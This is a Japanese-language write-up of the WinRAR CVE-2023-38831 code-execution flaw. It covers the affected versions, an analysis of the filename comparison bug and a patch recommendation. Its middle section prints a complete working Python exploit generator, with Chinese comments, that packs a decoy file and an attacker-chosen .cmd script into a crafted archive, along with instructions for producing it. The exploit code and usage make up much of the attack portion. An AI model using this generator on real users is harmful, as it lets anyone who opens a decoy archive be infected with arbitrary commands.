序文
WinRAR は強力なアーカイブ マネージャーであり、Windows 環境におけるアーカイブ ツール RAR のグラフィカル インターフェイスです。
このソフトウェアは、データのバックアップ、電子メールの添付ファイルのサイズの削減、インターネットからダウンロードした RAR、ZIP などのファイルの解凍、RAR および ZIP 形式の圧縮ファイルの新規作成に使用できます。
バージョン 5.60 以降、WinRAR では新しいアイコンが有効になりましたが、ユーザーは公式 Web サイトで提供されるテーマ パックを通じて元のスタイル アイコンに戻すことができます。
声明
この記事に記載されている関連テクノロジーを違法なテストに使用しないでください。この記事で提供される情報やツールの普及と使用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任となります。記事の著者は無関係です。この記事は教育のみを目的としています。
1. 脆弱性の説明
WinRAR は、RAR、ZIP、およびその他の形式のファイルの圧縮と解凍をサポートするファイル圧縮プログラムです。WinRAR には、圧縮パッケージ内の同じ名前のファイルやフォルダーを処理するときにコードが実行される脆弱性があり、攻撃者は悪意のあるファイルと悪意のないファイルで構成される特別に細工された圧縮パッケージ ファイルを構築し、被害者にこのファイルを開かせるよう誘導した後、被害者のマシン上で任意のコマンドを実行します。
RARLabs WinRAR バージョン 6.23 より前のバージョンにはセキュリティ上の脆弱性があり、攻撃者が任意のコードを実行する可能性があります。
2. 影響を受けるバージョン
- WinRAR < 6.23
3. 脆弱性分析
脆弱性のトリガーは主に 2 つのリンクに分かれています。
1. おとりファイルをクリックすると、フォルダ内の同名ファイルが解放されます
2. ファイルが実行されると、元のファイルではなく、フォルダ内の .cmd ファイルが実行されます。
リリースファイル
ユーザーがファイルをクリックした後、winrar は zip ファイル内の direntry を走査し、direntry->name とクリックされたファイル名 (click_name) を比較します。比較関数 (0047F790) の 4 番目のパラメーター オプションは、関数が呼び出されます。0x80000006
3番目のオプション00496020
パラメータが渡されると00496020
、click_name とentry_name が文字列として比較されます。
渡される比較の長さは click_name の長さであるため、「CLASSIFIED_DOCUMENTS.pdf 」と「CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd 」のような比較は一致します。そのため、クリックされたファイルと同じ名前のフォルダーがあるdirentry
場合比較関数は一致を示す 1 を返し、エントリに対応するファイルがクリックされたファイルとともに解放されます。
修復バージョン 623beta では、比較関数に渡されるオプション値は です0x80000002
。この条件では、比較関数は最初に 2 つのパラメータのディレクトリ名を抽出して比較するため、上記の状況は一致しなくなります。
新しいバージョンのオプション値は、制御用のフラグを設定します。このフラグは、一時ディレクトリが正常に作成され、解析プロセス中に使用された後に設定されます。
ファイルの実行
次の利用コード部分を例に挙げます。winrar 表示ウィンドウで PDF ファイルをダブルクリックすると、winrar は関数 ShellExecuteExW を使用してファイルを実行します。ここで渡されるパラメータは次のとおりです: "C:\Users\ \AppData\Local \Temp
\ ************
RAR$DIA *****.*****
\CLASSIFIED_DOCUMENTS .pdf "
上記のバグの存在により、次の 2 つのファイルが一時フォルダーにリリースされますCLASSIFIED_DOCUMENTS.pdf
。CLASSIFIED_DOCUMENTS.pdf .cmd
这两个文件的末尾空格都在函数4A26B0中被去除
ShellExecuteExW
パラメーターの末尾にスペースがあるため、2 番目の .cmd ファイルが実行され、脆弱性がトリガーされます。
4. 脆弱性の再発
今回の再発の環境は以下の通りです
再現環境インストールパッケージ:クリックしてgithub スクリプト検証をダウンロードします
プロジェクト アドレス: CVE-2023-38831-winrar-exploit
エクスプロイトコードは次のとおりです (コードコンポーネントにはマークが付けられています)
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.tar"
# 模板文件夹的名称
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
#诱饵文件
SCRIPT_NAME = "script.bat"
#脚本文件
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\cve-2023-38831-exp-gen.py poc
python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
#改诱饵文件扩展名
os.remove(TEMPLATE_NAME + ".zip")
# 删除临时zip
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
#写入文件
print("ok..")
POC を生成する 2 つの方法
python cve-2023-38831-exp-gen.py poc
または
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar
説明書
1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)
2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序
コマンドを実行して を生成しexp.rar
、圧縮パッケージを開き、*****.pdf ファイルをダブルクリックして実行し
、最後に Calc を実行します。
5. 修理のご提案
アップデートが間に合わなかった方は、悪意のある攻撃を避けるために、できるだけ早く最新バージョン 6.23 にアップデートすることをお勧めします。